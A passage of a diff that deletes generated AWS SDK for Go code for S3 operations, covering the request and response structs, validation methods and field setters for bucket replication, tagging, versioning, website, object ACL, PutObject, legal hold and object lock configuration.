`locationName:"ReplicationConfiguration" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutBucketReplicationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketReplicationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketReplicationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketReplicationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.ReplicationConfiguration == nil { - invalidParams.Add(request.NewErrParamRequired("ReplicationConfiguration")) - } - if s.ReplicationConfiguration != nil { - if err := s.ReplicationConfiguration.Validate(); err != nil { - invalidParams.AddNested("ReplicationConfiguration", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketReplicationInput) SetBucket(v string) *PutBucketReplicationInput { - s.Bucket = &v - return s -} - -func (s *PutBucketReplicationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetReplicationConfiguration sets the ReplicationConfiguration field's value. -func (s *PutBucketReplicationInput) SetReplicationConfiguration(v *ReplicationConfiguration) *PutBucketReplicationInput { - s.ReplicationConfiguration = v - return s -} - -type PutBucketReplicationOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketReplicationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketReplicationOutput) GoString() string { - return s.String() -} - -type PutBucketRequestPaymentInput struct { - _ struct{} `type:"structure" payload:"RequestPaymentConfiguration"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // RequestPaymentConfiguration is a required field - RequestPaymentConfiguration *RequestPaymentConfiguration `locationName:"RequestPaymentConfiguration" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutBucketRequestPaymentInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketRequestPaymentInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketRequestPaymentInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketRequestPaymentInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.RequestPaymentConfiguration == nil { - invalidParams.Add(request.NewErrParamRequired("RequestPaymentConfiguration")) - } - if s.RequestPaymentConfiguration != nil { - if err := s.RequestPaymentConfiguration.Validate(); err != nil { - invalidParams.AddNested("RequestPaymentConfiguration", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketRequestPaymentInput) SetBucket(v string) *PutBucketRequestPaymentInput { - s.Bucket = &v - return s -} - -func (s *PutBucketRequestPaymentInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetRequestPaymentConfiguration sets the RequestPaymentConfiguration field's value. -func (s *PutBucketRequestPaymentInput) SetRequestPaymentConfiguration(v *RequestPaymentConfiguration) *PutBucketRequestPaymentInput { - s.RequestPaymentConfiguration = v - return s -} - -type PutBucketRequestPaymentOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketRequestPaymentOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketRequestPaymentOutput) GoString() string { - return s.String() -} - -type PutBucketTaggingInput struct { - _ struct{} `type:"structure" payload:"Tagging"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Tagging is a required field - Tagging *Tagging `locationName:"Tagging" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutBucketTaggingInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketTaggingInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketTaggingInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketTaggingInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Tagging == nil { - invalidParams.Add(request.NewErrParamRequired("Tagging")) - } - if s.Tagging != nil { - if err := s.Tagging.Validate(); err != nil { - invalidParams.AddNested("Tagging", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketTaggingInput) SetBucket(v string) *PutBucketTaggingInput { - s.Bucket = &v - return s -} - -func (s *PutBucketTaggingInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetTagging sets the Tagging field's value. -func (s *PutBucketTaggingInput) SetTagging(v *Tagging) *PutBucketTaggingInput { - s.Tagging = v - return s -} - -type PutBucketTaggingOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketTaggingOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketTaggingOutput) GoString() string { - return s.String() -} - -type PutBucketVersioningInput struct { - _ struct{} `type:"structure" payload:"VersioningConfiguration"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The concatenation of the authentication device's serial number, a space, - // and the value that is displayed on your authentication device. - MFA *string `location:"header" locationName:"x-amz-mfa" type:"string"` - - // VersioningConfiguration is a required field - VersioningConfiguration *VersioningConfiguration `locationName:"VersioningConfiguration" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutBucketVersioningInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketVersioningInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketVersioningInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketVersioningInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.VersioningConfiguration == nil { - invalidParams.Add(request.NewErrParamRequired("VersioningConfiguration")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketVersioningInput) SetBucket(v string) *PutBucketVersioningInput { - s.Bucket = &v - return s -} - -func (s *PutBucketVersioningInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetMFA sets the MFA field's value. -func (s *PutBucketVersioningInput) SetMFA(v string) *PutBucketVersioningInput { - s.MFA = &v - return s -} - -// SetVersioningConfiguration sets the VersioningConfiguration field's value. -func (s *PutBucketVersioningInput) SetVersioningConfiguration(v *VersioningConfiguration) *PutBucketVersioningInput { - s.VersioningConfiguration = v - return s -} - -type PutBucketVersioningOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketVersioningOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketVersioningOutput) GoString() string { - return s.String() -} - -type PutBucketWebsiteInput struct { - _ struct{} `type:"structure" payload:"WebsiteConfiguration"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // WebsiteConfiguration is a required field - WebsiteConfiguration *WebsiteConfiguration `locationName:"WebsiteConfiguration" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutBucketWebsiteInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketWebsiteInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketWebsiteInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketWebsiteInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.WebsiteConfiguration == nil { - invalidParams.Add(request.NewErrParamRequired("WebsiteConfiguration")) - } - if s.WebsiteConfiguration != nil { - if err := s.WebsiteConfiguration.Validate(); err != nil { - invalidParams.AddNested("WebsiteConfiguration", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketWebsiteInput) SetBucket(v string) *PutBucketWebsiteInput { - s.Bucket = &v - return s -} - -func (s *PutBucketWebsiteInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetWebsiteConfiguration sets the WebsiteConfiguration field's value. -func (s *PutBucketWebsiteInput) SetWebsiteConfiguration(v *WebsiteConfiguration) *PutBucketWebsiteInput { - s.WebsiteConfiguration = v - return s -} - -type PutBucketWebsiteOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketWebsiteOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketWebsiteOutput) GoString() string { - return s.String() -} - -type PutObjectAclInput struct { - _ struct{} `type:"structure" payload:"AccessControlPolicy"` - - // The canned ACL to apply to the object. - ACL *string `location:"header" locationName:"x-amz-acl" type:"string" enum:"ObjectCannedACL"` - - AccessControlPolicy *AccessControlPolicy `locationName:"AccessControlPolicy" type:"structure" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Allows grantee the read, write, read ACP, and write ACP permissions on the - // bucket. - GrantFullControl *string `location:"header" locationName:"x-amz-grant-full-control" type:"string"` - - // Allows grantee to list the objects in the bucket. - GrantRead *string `location:"header" locationName:"x-amz-grant-read" type:"string"` - - // Allows grantee to read the bucket ACL. - GrantReadACP *string `location:"header" locationName:"x-amz-grant-read-acp" type:"string"` - - // Allows grantee to create, overwrite, and delete any object in the bucket. - GrantWrite *string `location:"header" locationName:"x-amz-grant-write" type:"string"` - - // Allows grantee to write the ACL for the applicable bucket. - GrantWriteACP *string `location:"header" locationName:"x-amz-grant-write-acp" type:"string"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // VersionId used to reference a specific version of the object. - VersionId *string `location:"querystring" locationName:"versionId" type:"string"` -} - -// String returns the string representation -func (s PutObjectAclInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutObjectAclInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutObjectAclInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutObjectAclInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - if s.AccessControlPolicy != nil { - if err := s.AccessControlPolicy.Validate(); err != nil { - invalidParams.AddNested("AccessControlPolicy", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetACL sets the ACL field's value. -func (s *PutObjectAclInput) SetACL(v string) *PutObjectAclInput { - s.ACL = &v - return s -} - -// SetAccessControlPolicy sets the AccessControlPolicy field's value. -func (s *PutObjectAclInput) SetAccessControlPolicy(v *AccessControlPolicy) *PutObjectAclInput { - s.AccessControlPolicy = v - return s -} - -// SetBucket sets the Bucket field's value. -func (s *PutObjectAclInput) SetBucket(v string) *PutObjectAclInput { - s.Bucket = &v - return s -} - -func (s *PutObjectAclInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetGrantFullControl sets the GrantFullControl field's value. -func (s *PutObjectAclInput) SetGrantFullControl(v string) *PutObjectAclInput { - s.GrantFullControl = &v - return s -} - -// SetGrantRead sets the GrantRead field's value. -func (s *PutObjectAclInput) SetGrantRead(v string) *PutObjectAclInput { - s.GrantRead = &v - return s -} - -// SetGrantReadACP sets the GrantReadACP field's value. -func (s *PutObjectAclInput) SetGrantReadACP(v string) *PutObjectAclInput { - s.GrantReadACP = &v - return s -} - -// SetGrantWrite sets the GrantWrite field's value. -func (s *PutObjectAclInput) SetGrantWrite(v string) *PutObjectAclInput { - s.GrantWrite = &v - return s -} - -// SetGrantWriteACP sets the GrantWriteACP field's value. -func (s *PutObjectAclInput) SetGrantWriteACP(v string) *PutObjectAclInput { - s.GrantWriteACP = &v - return s -} - -// SetKey sets the Key field's value. -func (s *PutObjectAclInput) SetKey(v string) *PutObjectAclInput { - s.Key = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *PutObjectAclInput) SetRequestPayer(v string) *PutObjectAclInput { - s.RequestPayer = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *PutObjectAclInput) SetVersionId(v string) *PutObjectAclInput { - s.VersionId = &v - return s -} - -type PutObjectAclOutput struct { - _ struct{} `type:"structure"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` -} - -// String returns the string representation -func (s PutObjectAclOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutObjectAclOutput) GoString() string { - return s.String() -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *PutObjectAclOutput) SetRequestCharged(v string) *PutObjectAclOutput { - s.RequestCharged = &v - return s -} - -type PutObjectInput struct { - _ struct{} `type:"structure" payload:"Body"` - - // The canned ACL to apply to the object. - ACL *string `location:"header" locationName:"x-amz-acl" type:"string" enum:"ObjectCannedACL"` - - // Object data. - Body io.ReadSeeker `type:"blob"` - - // Name of the bucket to which the PUT operation was initiated. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Specifies caching behavior along the request/reply chain. - CacheControl *string `location:"header" locationName:"Cache-Control" type:"string"` - - // Specifies presentational information for the object. - ContentDisposition *string `location:"header" locationName:"Content-Disposition" type:"string"` - - // Specifies what content encodings have been applied to the object and thus - // what decoding mechanisms must be applied to obtain the media-type referenced - // by the Content-Type header field. - ContentEncoding *string `location:"header" locationName:"Content-Encoding" type:"string"` - - // The language the content is in. - ContentLanguage *string `location:"header" locationName:"Content-Language" type:"string"` - - // Size of the body in bytes. This parameter is useful when the size of the - // body cannot be determined automatically. - ContentLength *int64 `location:"header" locationName:"Content-Length" type:"long"` - - // The base64-encoded 128-bit MD5 digest of the part data. This parameter is - // auto-populated when using the command from the CLI - ContentMD5 *string `location:"header" locationName:"Content-MD5" type:"string"` - - // A standard MIME type describing the format of the object data. - ContentType *string `location:"header" locationName:"Content-Type" type:"string"` - - // The date and time at which the object is no longer cacheable. - Expires *time.Time `location:"header" locationName:"Expires" type:"timestamp"` - - // Gives the grantee READ, READ_ACP, and WRITE_ACP permissions on the object. - GrantFullControl *string `location:"header" locationName:"x-amz-grant-full-control" type:"string"` - - // Allows grantee to read the object data and its metadata. - GrantRead *string `location:"header" locationName:"x-amz-grant-read" type:"string"` - - // Allows grantee to read the object ACL. - GrantReadACP *string `location:"header" locationName:"x-amz-grant-read-acp" type:"string"` - - // Allows grantee to write the ACL for the applicable object. - GrantWriteACP *string `location:"header" locationName:"x-amz-grant-write-acp" type:"string"` - - // Object key for which the PUT operation was initiated. - // - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // A map of metadata to store with the object in S3. - Metadata map[string]*string `location:"headers" locationName:"x-amz-meta-" type:"map"` - - // The Legal Hold status that you want to apply to the specified object. - ObjectLockLegalHoldStatus *string `location:"header" locationName:"x-amz-object-lock-legal-hold" type:"string" enum:"ObjectLockLegalHoldStatus"` - - // The Object Lock mode that you want to apply to this object. - ObjectLockMode *string `location:"header" locationName:"x-amz-object-lock-mode" type:"string" enum:"ObjectLockMode"` - - // The date and time when you want this object's Object Lock to expire. - ObjectLockRetainUntilDate *time.Time `location:"header" locationName:"x-amz-object-lock-retain-until-date" type:"timestamp" timestampFormat:"iso8601"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // Specifies the algorithm to use to when encrypting the object (e.g., AES256). - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // Specifies the customer-provided encryption key for Amazon S3 to use in encrypting - // data. This value is used to store the object and then it is discarded; Amazon - // does not store the encryption key. The key must be appropriate for use with - // the algorithm specified in the x-amz-server-side​-encryption​-customer-algorithm - // header. - SSECustomerKey *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key" type:"string" sensitive:"true"` - - // Specifies the 128-bit MD5 digest of the encryption key according to RFC 1321. - // Amazon S3 uses this header for a message integrity check to ensure the encryption - // key was transmitted without error. - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` - - // Specifies the AWS KMS key ID to use for object encryption. All GET and PUT - // requests for an object protected by AWS KMS will fail if not made via SSL - // or using SigV4. Documentation on configuring any of the officially supported - // AWS SDKs and CLI can be found at http://docs.aws.amazon.com/AmazonS3/latest/dev/UsingAWSSDK.html#specify-signature-version - SSEKMSKeyId *string `location:"header" locationName:"x-amz-server-side-encryption-aws-kms-key-id" type:"string" sensitive:"true"` - - // The Server-side encryption algorithm used when storing this object in S3 - // (e.g., AES256, aws:kms). - ServerSideEncryption *string `location:"header" locationName:"x-amz-server-side-encryption" type:"string" enum:"ServerSideEncryption"` - - // The type of storage to use for the object. Defaults to 'STANDARD'. - StorageClass *string `location:"header" locationName:"x-amz-storage-class" type:"string" enum:"StorageClass"` - - // The tag-set for the object. The tag-set must be encoded as URL Query parameters. - // (For example, "Key1=Value1") - Tagging *string `location:"header" locationName:"x-amz-tagging" type:"string"` - - // If the bucket is configured as a website, redirects requests for this object - // to another object in the same bucket or to an external URL. Amazon S3 stores - // the value of this header in the object metadata. - WebsiteRedirectLocation *string `location:"header" locationName:"x-amz-website-redirect-location" type:"string"` -} - -// String returns the string representation -func (s PutObjectInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutObjectInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutObjectInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutObjectInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetACL sets the ACL field's value. -func (s *PutObjectInput) SetACL(v string) *PutObjectInput { - s.ACL = &v - return s -} - -// SetBody sets the Body field's value. -func (s *PutObjectInput) SetBody(v io.ReadSeeker) *PutObjectInput { - s.Body = v - return s -} - -// SetBucket sets the Bucket field's value. -func (s *PutObjectInput) SetBucket(v string) *PutObjectInput { - s.Bucket = &v - return s -} - -func (s *PutObjectInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetCacheControl sets the CacheControl field's value. -func (s *PutObjectInput) SetCacheControl(v string) *PutObjectInput { - s.CacheControl = &v - return s -} - -// SetContentDisposition sets the ContentDisposition field's value. -func (s *PutObjectInput) SetContentDisposition(v string) *PutObjectInput { - s.ContentDisposition = &v - return s -} - -// SetContentEncoding sets the ContentEncoding field's value. -func (s *PutObjectInput) SetContentEncoding(v string) *PutObjectInput { - s.ContentEncoding = &v - return s -} - -// SetContentLanguage sets the ContentLanguage field's value. -func (s *PutObjectInput) SetContentLanguage(v string) *PutObjectInput { - s.ContentLanguage = &v - return s -} - -// SetContentLength sets the ContentLength field's value. -func (s *PutObjectInput) SetContentLength(v int64) *PutObjectInput { - s.ContentLength = &v - return s -} - -// SetContentMD5 sets the ContentMD5 field's value. -func (s *PutObjectInput) SetContentMD5(v string) *PutObjectInput { - s.ContentMD5 = &v - return s -} - -// SetContentType sets the ContentType field's value. -func (s *PutObjectInput) SetContentType(v string) *PutObjectInput { - s.ContentType = &v - return s -} - -// SetExpires sets the Expires field's value. -func (s *PutObjectInput) SetExpires(v time.Time) *PutObjectInput { - s.Expires = &v - return s -} - -// SetGrantFullControl sets the GrantFullControl field's value. -func (s *PutObjectInput) SetGrantFullControl(v string) *PutObjectInput { - s.GrantFullControl = &v - return s -} - -// SetGrantRead sets the GrantRead field's value. -func (s *PutObjectInput) SetGrantRead(v string) *PutObjectInput { - s.GrantRead = &v - return s -} - -// SetGrantReadACP sets the GrantReadACP field's value. -func (s *PutObjectInput) SetGrantReadACP(v string) *PutObjectInput { - s.GrantReadACP = &v - return s -} - -// SetGrantWriteACP sets the GrantWriteACP field's value. -func (s *PutObjectInput) SetGrantWriteACP(v string) *PutObjectInput { - s.GrantWriteACP = &v - return s -} - -// SetKey sets the Key field's value. -func (s *PutObjectInput) SetKey(v string) *PutObjectInput { - s.Key = &v - return s -} - -// SetMetadata sets the Metadata field's value. -func (s *PutObjectInput) SetMetadata(v map[string]*string) *PutObjectInput { - s.Metadata = v - return s -} - -// SetObjectLockLegalHoldStatus sets the ObjectLockLegalHoldStatus field's value. -func (s *PutObjectInput) SetObjectLockLegalHoldStatus(v string) *PutObjectInput { - s.ObjectLockLegalHoldStatus = &v - return s -} - -// SetObjectLockMode sets the ObjectLockMode field's value. -func (s *PutObjectInput) SetObjectLockMode(v string) *PutObjectInput { - s.ObjectLockMode = &v - return s -} - -// SetObjectLockRetainUntilDate sets the ObjectLockRetainUntilDate field's value. -func (s *PutObjectInput) SetObjectLockRetainUntilDate(v time.Time) *PutObjectInput { - s.ObjectLockRetainUntilDate = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *PutObjectInput) SetRequestPayer(v string) *PutObjectInput { - s.RequestPayer = &v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *PutObjectInput) SetSSECustomerAlgorithm(v string) *PutObjectInput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKey sets the SSECustomerKey field's value. -func (s *PutObjectInput) SetSSECustomerKey(v string) *PutObjectInput { - s.SSECustomerKey = &v - return s -} - -func (s *PutObjectInput) getSSECustomerKey() (v string) { - if s.SSECustomerKey == nil { - return v - } - return *s.SSECustomerKey -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *PutObjectInput) SetSSECustomerKeyMD5(v string) *PutObjectInput { - s.SSECustomerKeyMD5 = &v - return s -} - -// SetSSEKMSKeyId sets the SSEKMSKeyId field's value. -func (s *PutObjectInput) SetSSEKMSKeyId(v string) *PutObjectInput { - s.SSEKMSKeyId = &v - return s -} - -// SetServerSideEncryption sets the ServerSideEncryption field's value. -func (s *PutObjectInput) SetServerSideEncryption(v string) *PutObjectInput { - s.ServerSideEncryption = &v - return s -} - -// SetStorageClass sets the StorageClass field's value. -func (s *PutObjectInput) SetStorageClass(v string) *PutObjectInput { - s.StorageClass = &v - return s -} - -// SetTagging sets the Tagging field's value. -func (s *PutObjectInput) SetTagging(v string) *PutObjectInput { - s.Tagging = &v - return s -} - -// SetWebsiteRedirectLocation sets the WebsiteRedirectLocation field's value. -func (s *PutObjectInput) SetWebsiteRedirectLocation(v string) *PutObjectInput { - s.WebsiteRedirectLocation = &v - return s -} - -type PutObjectLegalHoldInput struct { - _ struct{} `type:"structure" payload:"LegalHold"` - - // The bucket containing the object that you want to place a Legal Hold on. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The key name for the object that you want to place a Legal Hold on. - // - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Container element for the Legal Hold configuration you want to apply to the - // specified object. - LegalHold *ObjectLockLegalHold `locationName:"LegalHold" type:"structure" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // The version ID of the object that you want to place a Legal Hold on. - VersionId *string `location:"querystring" locationName:"versionId" type:"string"` -} - -// String returns the string representation -func (s PutObjectLegalHoldInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutObjectLegalHoldInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutObjectLegalHoldInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutObjectLegalHoldInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutObjectLegalHoldInput) SetBucket(v string) *PutObjectLegalHoldInput { - s.Bucket = &v - return s -} - -func (s *PutObjectLegalHoldInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetKey sets the Key field's value. -func (s *PutObjectLegalHoldInput) SetKey(v string) *PutObjectLegalHoldInput { - s.Key = &v - return s -} - -// SetLegalHold sets the LegalHold field's value. -func (s *PutObjectLegalHoldInput) SetLegalHold(v *ObjectLockLegalHold) *PutObjectLegalHoldInput { - s.LegalHold = v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *PutObjectLegalHoldInput) SetRequestPayer(v string) *PutObjectLegalHoldInput { - s.RequestPayer = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *PutObjectLegalHoldInput) SetVersionId(v string) *PutObjectLegalHoldInput { - s.VersionId = &v - return s -} - -type PutObjectLegalHoldOutput struct { - _ struct{} `type:"structure"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` -} - -// String returns the string representation -func (s PutObjectLegalHoldOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutObjectLegalHoldOutput) GoString() string { - return s.String() -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *PutObjectLegalHoldOutput) SetRequestCharged(v string) *PutObjectLegalHoldOutput { - s.RequestCharged = &v - return s -} - -type PutObjectLockConfigurationInput struct { - _ struct{} `type:"structure" payload:"ObjectLockConfiguration"` - - // The bucket whose Object Lock configuration you want to create or replace. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The Object Lock configuration that you want to apply to the specified bucket. - ObjectLockConfiguration *ObjectLockConfiguration `locationName:"ObjectLockConfiguration" type:"structure" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // A token to allow Object Lock to be enabled for an existing bucket. - Token *string `location:"header" locationName:"x-amz-bucket-object-lock-token" type:"string"` -} - -// String returns the string representation -func (s PutObjectLockConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutObjectLockConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutObjectLockConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutObjectLockConfigurationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 